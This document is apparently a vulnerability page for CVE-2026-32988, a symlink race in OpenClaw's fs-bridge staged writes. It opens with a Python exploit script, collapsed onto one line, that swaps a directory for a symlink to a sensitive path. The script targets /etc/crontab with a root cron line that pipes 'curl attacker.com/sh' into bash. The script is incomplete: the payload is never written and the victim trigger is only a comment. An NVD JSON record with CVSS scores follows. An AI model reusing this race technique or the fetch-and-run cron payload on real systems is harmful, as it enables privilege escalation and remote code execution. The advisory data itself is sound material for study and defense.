CVE-2026-32988

import os import time # Simulate the race condition exploit for OpenClaw fs-bridge # This script attempts to swap a directory with a symlink during temp file creation def exploit_cve_2026_32988(target_path, malicious_content): # Step 1: Create a directory that OpenClaw expects legitimate_dir = "openclaw_temp" os.makedirs(legitimate_dir, exist_ok=True) # Step 2: Prepare the target directory outside the sandbox (e.g., system config) # We want to write to /etc/systemd/system/exploit.service # Note: This requires the OpenClaw process to have write permissions to the final target via the race print(f"[+] Starting race condition attack against {target_path}") while True: try: # Attempt to swap the legitimate directory with a symlink to a sensitive path # This simulates the 'parent-path alias changes' os.rename(legitimate_dir, "backup_dir") os.symlink(target_path, legitimate_dir) print("[!] Symlink swapped. Waiting for write window...") # In a real scenario, trigger the OpenClaw write operation here # time.sleep(0.01) # Small delay to align with victim's write # Restore state to avoid crashing or detection immediately os.remove(legitimate_dir) os.rename("backup_dir", legitimate_dir) except Exception as e: print(f"[-] Error during race: {e}") break if __name__ == "__main__": # Target a system file (example) target = "/etc/crontab" content = "* * * * * root /bin/bash -c 'curl attacker.com/sh | bash'" exploit_cve_2026_32988(target, content)

{"cve": {"id": "CVE-2026-32988", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:30.047", "lastModified": "2026-04-02T12:26:04.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.11 contains a sandbox boundary bypass vulnerability in fs-bridge staged writes where temporary file creation and population are not pinned to a verified parent directory. Attackers can exploit a race condition in parent-path alias changes to write attacker-controlled bytes outside the intended validated path before the final guarded replace step executes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.11", "matchCriteriaId": "4B01F0B5-B0CB-462E-A546-2BA2CACD83D5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-mj4p-rc52-m843", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-sandbox-boundary-bypass-via-unvalidated-temporary-file-creation", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}